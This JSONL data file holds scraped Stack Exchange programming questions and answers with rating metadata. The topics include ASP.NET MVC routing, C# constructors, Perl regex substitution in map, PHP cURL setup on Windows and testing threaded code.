{"id": "hf_778c2e26cda6", "question": "<p>Is it possible to upload a file from a client's computer to the server through a web service? The client can be running anything from a native desktop app to a thin ajax client.</p>\n", "question_body": "", "answer": "I'm not a master in \"webservice\", but if you develop the webservice (and the client), you always can convert the binary file to\nBASE64\nin the client (can do in java... and i soupose in ajax too) and transfer as \"string\", in the other side, in the webservice encode to binary from BASE64...\nIt's one idea, that's work, but maybe not \"correct\" in all enviroment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.769494"}
{"id": "hf_267ff1bd9fec", "question": "<p>I'm working on a web service at the moment and there is the potential that the returned results could be quite large ( > 5mb). </p>\n\n<p>It's perfectly valid for this set of data to be this large and the web service can be called either sync or async, but I'm wondering what people's thoughts are on the following:</p>\n\n<ol>\n<li><p>If the connection is lost, the\nentire resultset will have to be\nregenerated and sent again. Is there\nany way I can do any sort of\n\"resume\" if the connection is lost\nor reset?</p></li>\n<li><p>Is sending a result set this large even appropriate? Would it be better to implement some sort of \"paging\" where the resultset is generated and stored on the server and the client can then download chunks of the resultset in smaller amounts and re-assemble the set at their end?</p></li>\n</ol>\n", "question_body": "", "answer": "There's no hard law against 5 Mb as a result set size. Over 400 Mb can be\nhard to send\n.\nYou'll automatically get async handlers (since you're using .net)\nimplement some sort of \"paging\" where\n  the resultset is generated and stored\n  on the server and the client can then\n  download chunks of the resultset in\n  smaller amounts and re-assemble the\n  set at their end\nThat's already happening for you -- it's called tcp/ip ;-) Re-implementing that could be overkill.\nSimilarly --\nentire resultset will have to be\n  regenerated and sent again\nIf it's MS-SQL, for example that is generating most of the resultset -- then re-generating it will take advantage of some implicit cacheing in SQL Server and the subsequent generations will be quicker.\nTo some extent you can get away with not worrying about these problems, until they surface as 'real' problems -- because the platform(s) you're using take care of a lot of the performance bottlenecks for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.817503"}
{"id": "hf_58b6232d049c", "question": "<p>The only thing I've found has been;</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.hang {\n    text-indent: -3em;\n    margin-left: 3em;\n} \n</code></pre>\n\n<p>The only way for this to work is putting text in a paragraph, which causes those horribly unsightly extra lines. I'd much rather just have them in a <code>&lt;span class=\"hang\"&gt;&lt;/span&gt;</code> type of thing.</p>\n\n<p>I'm also looking for a way to further indent than just a single-level of hanging. Using paragraphs to stack the indentions doesn't work.</p>\n", "question_body": "", "answer": "```\n<span>\n```\nis an inline element. The term\nhanging indent\nis meaningless unless you're talking about a paragraph (which generally means a block element). You can, of course, change the margins on\n```\n<p>\n```\nor\n```\n<div>\n```\nor any other block element to get rid of extra vertical space between paragraphs.\nYou may want something like\n```\ndisplay: run-in\n```\n, where the tag will become either block or inline depending on context... sadly, this is\nnot yet universally supported by browsers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.854080"}
{"id": "hf_bcdf5fec7aba", "question": "<p>I am currently architecting a small CRUD applicaton. Their database is a huge mess and will be changing frequently over the course of the next 6 months to a year. What would you recommend for my data layer:</p>\n\n<p>1) ORM (if so, which one?)</p>\n\n<p>2) Linq2Sql</p>\n\n<p>3) Stored Procedures</p>\n\n<p>4) Parametrized Queries</p>\n\n<p>I really need a solution that will be dynamic enough (both fast and easy) where I can replace tables and add/delete columns frequently.</p>\n\n<p>Note: I do not have much experience with ORM (only a little SubSonic) and generally tend to use stored procedures so maybe that would be the way to go. I would love to learn Ling2Sql or NHibernate if either would allow for the situation I've described above.</p>\n", "question_body": "", "answer": "NHibernate\n, but only if you would be amenable to having an object-first approach wherein you define your classes, and then define your desired table structure in the mapping files, and then create a database schema using NHibernate's built in schema generation classes.\nFor doing it the other way around (e.g., you have a bunch of tables and then you base your object design on that) I've found\nMyGeneration\n+ NHibernate to work, although I'm not too happy with the resulting classes (mainly because I'm such a stickler for true Object Oriented Programming).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.926084"}
{"id": "hf_dcda72394b9b", "question": "<p>How would you reccommend handling RSS Feeds in ASP.NET MVC?  Using a third party library?  Using the RSS stuff in the BCL?  Just making an RSS view that renders the XML?  Or something completely different?</p>\n", "question_body": "", "answer": "Here is what I recommend:\nCreate a class called RssResult that\ninherits off the abstract base class\nActionResult.\nOverride the ExecuteResult method.\nExecuteResult has the ControllerContext passed to it by the caller and with this you can get the data and content type.\nOnce you change the content type to rss, you will want to serialize the data to RSS (using your own code or another library) and write to the response.\nCreate an action on a controller that you want to return rss and set the return type as RssResult.  Grab the data from your model based on what you want to return.\nThen any request to this action will receive rss of whatever data you choose.\nThat is probably the quickest and reusable way of returning rss has a response to a request in ASP.NET MVC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:40.987950"}
{"id": "hf_44d26589e9ce", "question": "<p>I'm new to MVC (and ASP.Net routing).  I'm trying to map <code>*.aspx</code> to a controller called <code>PageController</code>.  </p>\n\n<pre><code>routes.MapRoute(\n   \"Page\",\n   \"{name}.aspx\",\n   new { controller = \"Page\", action = \"Index\", id = \"\" }\n);\n</code></pre>\n\n<p>Wouldn't the code above map *.aspx to <code>PageController</code>?  When I run this and type in any .aspx page I get the following error:</p>\n\n<blockquote>\n  <p>The controller for path '/Page.aspx' could not be found or it does not implement the IController interface.\n  Parameter name: controllerType</p>\n</blockquote>\n\n<p>Is there something I'm not doing here?</p>\n", "question_body": "", "answer": "Not sure how your controller looks, the error seems to be pointing to the fact that it can't find the controller.  Did you inherit off of Controller after creating the PageController class?  Is the PageController located in the Controllers directory?\nHere is my route in the Global.asax.cs\n```\n```\nroutes.MapRoute(\n    \"Page\", \n    \"{Page}.aspx\", \n    new { controller = \"Page\", action = \"Index\", id = \"\" }\n);\n```\n```\nHere is my controller, which is located in the Controllers folder:\n```\n```\nusing System.Web.Mvc;\n\nnamespace MvcApplication1.Controllers\n{\n    public class PageController : Controller\n    {\n        public void Index()\n        {\n            Response.Write(\"Page.aspx content.\");\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.024777"}
{"id": "hf_7eeda78f9b16", "question": "<p>How can I determine the IP of my router/gateway in Java? I can get my IP easily enough. I can get my internet IP using a service on a website. But how can I determine my gateway's IP?</p>\n\n<p>This is somewhat easy in .NET if you know your way around. But how do you do it in Java?</p>\n", "question_body": "", "answer": "That is not as easy as it sounds.  Java is platform independent, so I am not sure how to do it in Java.  I am\nguessing\nthat .NET contacts some web site which reports it back.  There are a couple ways to go.  First, a deeper look into the ICMP protocol may give you the information you need.  You can also trace the IP you go through (your route).  When you encounter an IP that is not in the following ranges:\n10.0.0.0 – 10.255.255.255\n172.16.0.0 – 172.31.255.255\n192.168.0.0 – 192.168.255.255\nit is the IP one hop away from yours, and probably shares a few octets of information with your IP.\nBest of luck.  I'll be curious to hear a definitive answer to this question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.049207"}
{"id": "hf_52543297fbd7", "question": "<p>I curious to how different people solve integration of systems. I have a feeling that the last years more and more work has gone into integrating systems and that this kind of work need will increase as well.</p>\n\n<p>I wondering if you solve it developing your own small services that are then connected or if you use some sort of product (WebSphere, BizTalk, <a href=\"http://mule.mulesource.org/display/MULE/Home\" rel=\"noreferrer\">Mule</a> etc). I'd also think it'd be interesting to know how these kind of solutions are managed and maintained (how do you solve security, instrumentation etc, etc), what kind of problems have you experienced with your solution and so on.</p>\n", "question_body": "", "answer": "wow - Ok - will get a post on this but will be big.\nIntergration needs to be backed up with a big understanding by the business on the benefits - Get an opertating model sorted out - as the business may acutally need to standardise instead of intergrate, as this can be costly - its why most SOA fail!\nEnterprise Architecture: Driving Business Benefits from IT\nAuthor(s): Jeanne W. Ross\nIf intergration is needed you then need to settle on type of integration.\nWhat are the speed and performance metrics?\nWe have a .NET SOA with a Composite Application that uses BizTalk 2006 and webservices with Line of Business Applications. Performance of the application at the composite end (consuming) - is limited to the speed of the webservices (and their implementation) in the line of business application!  We need sub <3 second return on results - list of cases. Could not be acheived in the webservices so we need to get go to the database directly for initial search.  Then over the webservices for case creation.  Cost implications and maintance becomes an issue here.\nThe point here is to look at the performance criteria in the specs and business requirements this will help in look at the type of integration that you need to do - WebServices (HTTP), File Drop/ EDI etc\nFunctionally for intergration you need to then look at the points of failure in the proposed architecture - as this will lead to a chain of responisblity in SLA/OLA.  You may need to wrapper the intergration/faliure points into things that you control.\nOn similar point about integration with Line of Business is with how much do you need to know about the other product before you can integrate?  Yeah Webservices are supposed to be design by contract but the implementation is often leaky and you need to understand alot about what is happening - and if this is a product that you dont control the abstraction even with webservices leaks into your intergation technology aka BizTalk.\nCouple these two points together and you the best advise is to get a intergration hub type like BizTalk - wrapper the line of business applications in webservices you create - so the BizTalk side can be free from leaky abstractions then you also can reduce the points of failure as the you have decoupled the line of business application from the intergration hub and the point of failure to a single source rather than inside an orchestration.\nInstrumentation and diagnosics in SOA and Intergation Porjects are hard to acheive! - Dont let any shiney sales person try and tell you differently!  Yeah MOM with MOM Ent can do this UniCenter can do blah.\nThe main problem is understand what the error aka burps in the intergation mean and how to recover from them...  You end up with messages stuck and you need to understand what that means to that busienss process.  You can get an alert to say - processers are 100% Ram 100% orchestrations have failed - but no real meaning.   You have to engineer this stuff in to the solution from the outset - and hopefully into you points of failure.\nTypes of intergration patterns and how to do them do need to be considered too.\nThe above is a real world view of a .NET SOA with BizTalk in a LIVE implementation.  But it is also due to the architectural limitations of this - BizTalk mainly is a HUB and SPOKE pattern.\nCheck out\nEnterprise Application Patterns by Martin Fowler\nThere are many ways to skin the task!\nOther considerations...  Platform/Developer Languages etc.\nOne of the big factors for us was the skills needed to start this stuff. We had OO devs with Java and C# understanding, but mainly C#.  So we went for the MS stack.  But when you choose the intergration type and the product to manage this they will need more skills in understanding that technology.  But hey this is normall for us Devs right?  Wrong many developers regardless of there expereince can come unstuck with the likes of BizTalk!  Big shift in paradigm - which in part is due to messaging shift rather than code.\nBest bit for last!\nNumbers of transactions that are likely to be faced in the integration is probable the single biggest factor in all of this.  As this will guide what pattern, points of failure and tolarance for such things.\nYou need to select best on anticpated volumes the right one.  Something that can scale up and scale out!  We selected BizTalk since it can scale up and scale out correctly and with better understanding than some others.\nIf you dont have volumes then look at not getting something to manage them and go for a webservice to webservice type style with no management - performance and failure understanding will need to be coded into them.\nIf your on windows platform with .net 3 take look at WWF/WCF as this can help in webservice to webservice - lots more in the acutal platform now for all these concerns without the overhead of BizTalk and others.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.136704"}
{"id": "hf_b55493f58f7c", "question": "<p>How can I pipe the new password to smbpasswd so I can automate my installation process.</p>\n", "question_body": "", "answer": "using either\npipelines\nor\nredirection\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.162815"}
{"id": "hf_5b1b97ca6478", "question": "<p>I am currently writing a simple, timer based mini app in C# that performs an action n times every k seconds.<br>\nI am trying to adopt a test driven development style, so my goal is to unit test all parts of the app.</p>\n\n<p>So, my question is: Is there a good way to unit test a timer based class?</p>\n\n<p>The problem, as I see it, is that there is a big risk that the tests will take uncomfortably long to execute, since they must wait so and so long for the desired actions to happen.<br>\nEspecially if one wants realistic data (seconds), instead of using the minimal time resolution allowed by the framework (1 ms?).<br>\nI am using a mock object for the action, to register the number of times the action was called, and so that the action takes practically no time.</p>\n", "question_body": "", "answer": "I think what I would do in this case is test the code that actually executes when the timer ticks, rather than the entire sequence. What you really need to decide is whether it is worthwhile for you to test the actual behaviour of the application (for example, if what happens after every tick changes drastically from one tick to another), or whether it is sufficient (that is to say, the action is the same every time) to just test your logic.\nSince the timer's behaviour is guaranteed never to change, it's either going to work properly (ie, you've configured it right) or not; it seems to be to be wasted effort to include that in your test if you don't actually need to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.199276"}
{"id": "hf_0e9c394ffe8f", "question": "<p>If I inherit from a base class and want to pass something from the constructor of the inherited class to the constructor of the base class, how do I do that?</p>\n\n<p>For example, if I inherit from the Exception class I want to do something like this:</p>\n\n<pre><code>class MyExceptionClass : Exception\n{\n     public MyExceptionClass(string message, string extraInfo)\n     {\n         //This is where it's all falling apart\n         base(message);\n     }\n}\n</code></pre>\n\n<p>Basically what I want is to be able to pass the string message to the base Exception class.</p>\n", "question_body": "", "answer": "Modify your constructor to the following so that it calls the base class constructor properly:\n```\n```\npublic class MyExceptionClass : Exception\n{\n    public MyExceptionClass(string message, string extrainfo) : base(message)\n    {\n        //other stuff here\n    }\n}\n```\n```\nNote that a constructor is not something that you can call anytime within a method. That's the reason you're getting errors in your call in the constructor body.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.224824"}
{"id": "hf_70d4e8b83006", "question": "<p>When I am running the following statement:</p>\n\n<pre><code>@filtered = map {s/&amp;nbsp;//g} @outdata;\n</code></pre>\n\n<p>it is returning an empty list instead of the filtered list that I expected.  What I am trying to do is remove every occurrence of <code>&amp;nbsp;</code> from an array of string (which is an XML file).</p>\n\n<p>Obviously, I am not understanding something.  Can anyone tell me the correct way to do this might be, and why this isn't working for me as is?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n@filtered = map {s/&nbsp;//g; $_} @outdata;\n```\n```\nThe problem is the s operator in perl modifies $_ but actually returns the number of changes it made. So, the extra $_ at the end causes perl to return the modified string for each element of @outdata.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.288176"}
{"id": "hf_ea41ddb79aa9", "question": "<p>I installed VS SP1 and played around with Entity Framework.</p>\n\n<p>I created a schema from an existing database and tried some basic operations.</p>\n\n<p>Most of it went well, except the database schema update.</p>\n\n<p>I changed the database in every basic way:</p>\n\n<ul>\n<li>added a new table</li>\n<li>deleted a table</li>\n<li>added a new column to an existing table</li>\n<li>deleted a column from an existing table</li>\n<li>changed the type of an existing column</li>\n</ul>\n\n<p>The first three went well, but the type change and the column deletion did not followed the database changes.</p>\n\n<p>Is there any way to make is work from the designer? Or is it not supported at the moment? I didn't find any related material yet, but still searching.</p>\n", "question_body": "", "answer": "I would guess that possibly those don't happen because they would break the build for existing code, but that's just a guess on my part.\nHere's my logic:\nFirst, EF is supposed to be more than 1:1 table mapping, so it's quite possible that just because you are deleting a column from table A doesn't mean that for that entity, there shouldn't be a property Description. You might just map that property to another table.\nSecond, changing a type could just break builds. that's the only rationale there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.369744"}
{"id": "hf_14ff06f5bff7", "question": "<p>I have thus far avoided the nightmare that is testing multi-threaded code since it just seems like too much of a minefield.  I'd like to ask how people have gone about testing code that relies on threads for successful execution, or just how people have gone about testing those kinds of issues that only show up when two threads interact in a given manner?</p>\n\n<p>This seems like a really key problem for programmers today, it would be useful to pool our knowledge on this one imho.</p>\n", "question_body": "", "answer": "I have had the unfortunate task of testing threaded code and they are definitely the hardest tests I have ever written.\nWhen writing my tests, I used a combination of delegates and events.  Basically it is all about using\n```\nPropertyNotifyChanged\n```\nevents with a\n```\nWaitCallback\n```\nor some kind of\n```\nConditionalWaiter\n```\nthat polls.\nI am not sure if this was the best approach, but it has worked out for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.413659"}
{"id": "hf_a7827006ac51", "question": "<p>I've got a Repeater that lists all the <code>web.sitemap</code> child pages on an ASP.NET page.  Its <code>DataSource</code> is a <code>SiteMapNodeCollection</code>.  But, I don't want my registration form page to show up there.</p>\n\n<pre><code>Dim Children As SiteMapNodeCollection = SiteMap.CurrentNode.ChildNodes\n\n'remove registration page from collection\nFor Each n As SiteMapNode In SiteMap.CurrentNode.ChildNodes\nIf n.Url = \"/Registration.aspx\" Then\n    Children.Remove(n)\nEnd If\nNext\n\nRepeaterSubordinatePages.DataSource = Children\n</code></pre>\n\n<p>The <code>SiteMapNodeCollection.Remove()</code> method throws a </p>\n\n<blockquote>\n  <p>NotSupportedException: \"Collection is read-only\".</p>\n</blockquote>\n\n<p>How can I remove the node from the collection before DataBinding the Repeater?</p>\n", "question_body": "", "answer": "Using Linq and .Net 3.5:\n```\n```\n//this will now be an enumeration, rather than a read only collection\nDim children = SiteMap.CurrentNode.ChildNodes.Where( _\n    Function (x) x.Url <> \"/Registration.aspx\" )\n\nRepeaterSubordinatePages.DataSource = children\n```\n```\nWithout Linq, but using .Net 2:\n```\n```\nFunction IsShown( n as SiteMapNode ) as Boolean\n    Return n.Url <> \"/Registration.aspx\"\nEnd Function\n\n...\n\n//get a generic list\nDim children as List(Of SiteMapNode) = _\n    New List(Of SiteMapNode) ( SiteMap.CurrentNode.ChildNodes )\n\n//use the generic list's FindAll method\nRepeaterSubordinatePages.DataSource = children.FindAll( IsShown )\n```\n```\nAvoid removing items from collections as that's always slow. Unless you're going to be looping through multiple times you're better off filtering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.524121"}
{"id": "hf_9b1272fe618c", "question": "<p>I'm trying to serialize a Type object in the following way:</p>\n\n<pre><code>Type myType = typeof (StringBuilder);\nvar serializer = new XmlSerializer(typeof(Type));\nTextWriter writer = new StringWriter();\nserializer.Serialize(writer, myType);\n</code></pre>\n\n<p>When I do this, the call to Serialize throws the following exception:  </p>\n\n<blockquote>\n  <p>\"The type System.Text.StringBuilder was not expected. Use the\n  XmlInclude or SoapInclude attribute to specify types that are not\n  known statically.\"</p>\n</blockquote>\n\n<p>Is there a way for me to serialize the <code>Type</code> object?  Note that I am not trying to serialize the <code>StringBuilder</code> itself, but the <code>Type</code> object containing the metadata about the <code>StringBuilder</code> class.</p>\n", "question_body": "", "answer": "Just looked at its definition, it is not marked as Serializable. If you really need this data to be serialize, then you may have to convert it to a custom class that is marked as such.\n```\n```\npublic abstract class Type : System.Reflection.MemberInfo\n    Member of System\n\nSummary:\nRepresents type declarations: class types, interface types, array types, value types, enumeration types, type parameters, generic type definitions, and open or closed constructed generic types.\n\nAttributes:\n[System.Runtime.InteropServices.ClassInterfaceAttribute(0),\nSystem.Runtime.InteropServices.ComDefaultInterfaceAttribute(System.Runtime.InteropServices._Type),\nSystem.Runtime.InteropServices.ComVisibleAttribute(true)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.567594"}
{"id": "hf_810b57068f08", "question": "<p>Is there any known way of listing the WMI classes and their properties available for a particular system? Im interested in a vbscript approach, but please suggest anything really :)</p>\n\n<p>P.S. Great site.</p>\n", "question_body": "", "answer": "I believe this is what you want.\nWMI Code Creator\nA part of this nifty utility allows you to browse namespaces/classes/properties on the local and remote PCs, not to mention generating WMI code in VBScript/C#/VB on the fly.  Very useful.\nAlso, the source code used to create the utility is included in the download, which could provide a reference if you wanted to create your own browser like interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.604703"}
{"id": "hf_f2f038adfa82", "question": "<p>I'm running PHP 5.2.3 on Windows 2000 Server with IIS 5.  I'm trying\nto get cURL working, so in my <strong>php.ini</strong> file, I have this line:</p>\n\n<blockquote>\n  <p>extension_dir =\"F:\\PHP\\ext\"</p>\n</blockquote>\n\n<p>And later, I have:</p>\n\n<blockquote>\n  <p>extension=php_curl.dll</p>\n</blockquote>\n\n<p>The file <strong>F:\\PHP\\ext\\php_curl.dll</strong> exists, but when I try to run any PHP\nscript, I get this in the error log:</p>\n\n<blockquote>\n  <p>PHP Warning:  PHP Startup: Unable to load dynamic library 'F:\\PHP\\ext\n  \\php_curl.dll' - The specified module could not be found.\n   in Unknown on line 0 </p>\n</blockquote>\n", "question_body": "", "answer": "Problem solved!\nAlthough the error message said\nThe specified module could not be found\n, this is a little misleading -- it's not that it couldn't find\n```\nphp_curl.dll\n```\n, but rather it couldn't find a module that\n```\nphp_curl.dll\n```\nrequired.  The 2 DLLs it requires are\n```\nlibeay32.dll\n```\nand\n```\nSSLeay32.dll\n```\n.\nSo, you have to put those 2 DLLs somewhere in your PATH (e.g.,\n```\nC:\\Windows\\system32\n```\n).  That's all there is to it.\nHowever, even that did not work for me initially.  So I downloaded the Windows zip of the latest version of PHP, which includes all the necessary DLLs.  I didn't reinstall PHP, I just copied all of the DLLs in the \"ext\" folder to my PHP extensions folder (as specified in the\n```\nextension_dir\n```\nvariable in\n```\nphp.ini\n```\n), and I copied the versions of\n```\nlibeay32.dll\n```\nand\n```\nSSLeay32.dll\n```\nfrom the PHP download into my System32 directory.\nI also did an iisreset, but I don't know if that was necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.645992"}
{"id": "hf_00c96c26276c", "question": "<p>The .NET garbage collector will eventually free up memory, but what if you want that memory back immediately? What code do you need to use in a class <code>MyClass</code> to call</p>\n\n<pre><code>MyClass.Dispose()\n</code></pre>\n\n<p>and free up all the used space by variables and objects in <code>MyClass</code>?</p>\n", "question_body": "", "answer": "This article\nhas a pretty straightforward walkthrough.  However,\nhaving\nto call the GC instead of letting it take its natural course is generally a sign of bad design/memory management,\nespecially\nif no limited resources are being consumed (connections, handles, anything else that typically leads to implementing IDisposable).\nWhat's causing you to need to do this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.671718"}
{"id": "hf_cc7a7c83891a", "question": "<p>From what I've read, <a href=\"http://blogs.msdn.com/astebner/archive/2008/08/11/8849574.aspx\" rel=\"nofollow noreferrer\">VS 2008 SP1 and Team Foundation Server SP1 packages are traditional service packs that require you to first install the original versions before you will be able to install the SP</a>.</p>\n\n<p>Is there a way, supported or not, to slipstream the install?</p>\n", "question_body": "", "answer": "Here's an\nMSDN forum post\nin which an MSFTie indicates it will be possible and that details are forthcoming.  Another poster is relaying results of her almost-successful attempt.  Looks like this will be doable soon.\nRelated:\nhow to slipstream Team Foundation Server 2008 SP1 (TFS 2008 SP1)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.745954"}
{"id": "hf_5a8ace748129", "question": "<p>Once I have my renamed files I need to add them to my project's wiki page. This is a fairly repetitive manual task, so I guess I could script it but I don't know where to start.</p>\n\n<p>The process is:</p>\n\n<pre><code>Got to appropriate page on the wiki\n\nfor each team member (DeveloperA, DeveloperB, DeveloperC)\n{\n    for each of two files ('*_current.jpg', '*_lastweek.jpg')\n    {\n        Select 'Attach' link on page\n        Select the 'manage' link next to the file to be updated\n        Click 'Browse' button\n        Browse to the relevant file (which has the same name as the previous version)\n        Click 'Upload file' button\n    }\n}\n</code></pre>\n\n<p>Not necessarily looking for the full solution as I'd like to give it a go myself.</p>\n\n<p>Where to begin? What language could I use to do this and how difficult would it be?</p>\n", "question_body": "", "answer": "If you're writing in C#, the WebClient classes might be a good place to start.  I bet people could give more specific advice if you mentioned which wiki platform you are using, and whether it requires authentication, though.\nI'd probably start by downloading fiddler and watching the http requests from doing it manually.  Then you could use some simple scripts and regexes to build your http requests for automating the process.\nOf course, if your wildly lucky, your wiki would have a backend simple enough that you could just plug them into its db directly. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.771237"}
{"id": "hf_76847fef5410", "question": "<p>How do you scan a directory for folders and files in C? It needs to be cross-platform.</p>\n", "question_body": "", "answer": "opendir/readdir are POSIX. If POSIX is not enough for the portability you want to achieve, check\nApache Portable Runtime", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.821883"}
{"id": "hf_b1267e3c9022", "question": "<p>In Ruby, what's the difference between <code>{}</code> and <code>[]</code>?</p>\n\n<p><code>{}</code> seems to be used for both code blocks and hashes.</p>\n\n<p>Are <code>[]</code> only for arrays?</p>\n\n<p>The documention isn't very clear.</p>\n", "question_body": "", "answer": "Broadly speaking, you're correct. As well as hashes, the general style is that curly braces\n```\n{}\n```\nare often used for blocks that can fit all onto one line, instead of using\n```\ndo\n```\n/\n```\nend\n```\nacross several lines.\nSquare brackets\n```\n[]\n```\nare used as class methods in lots of Ruby classes, including String, BigNum, Dir and confusingly enough, Hash. So:\n```\n```\nHash[\"key\" => \"value\"]\n```\n```\nis just as valid as:\n```\n```\n{ \"key\" => \"value\" }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.934739"}
{"id": "hf_f0ee622d70cc", "question": "<p>Let's say we have a simple function defined in a pseudo language.</p>\n\n<pre><code>List&lt;Numbers&gt; SortNumbers(List&lt;Numbers&gt; unsorted, bool ascending);\n</code></pre>\n\n<p>We pass in an unsorted list of numbers and a boolean specifying ascending or descending sort order. In return, we get a sorted list of numbers.</p>\n\n<p>In my experience, some people are better at capturing boundary conditions than others. The question is, \"How do you know when you are 'done' capturing test cases\"?</p>\n\n<p>We can start listing cases now and some clever person will undoubtedly think of 'one more' case that isn't covered by any of the previous.</p>\n", "question_body": "", "answer": "Don't waste too much time trying to think of\nevery\nboundry condition.  Your tests won't be able to catch\nevery\nbug first time around.  The idea is to have tests that are\npretty good\n, and then each time a bug\ndoes\nsurface, write a new test specifically for that bug so that you never hear from it again.\nAnother note I want to make about code coverage tools.  In a language like C# or Java where your have many get/set and similar methods, you should\nnot\nbe shooting for 100% coverage.  That means you are wasting too much time writing tests for trivial code.  You\nonly\nwant 100% coverage on your complex business logic.  If your full codebase is closer to 70-80% coverage, you are doing a good job.  If your code coverage tool allows multiple coverage metrics, the best one is 'block coverage' which measures coverage of 'basic blocks'.  Other types are class and method coverage (which don't give you as much information) and line coverage (which is too fine grain).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.960054"}
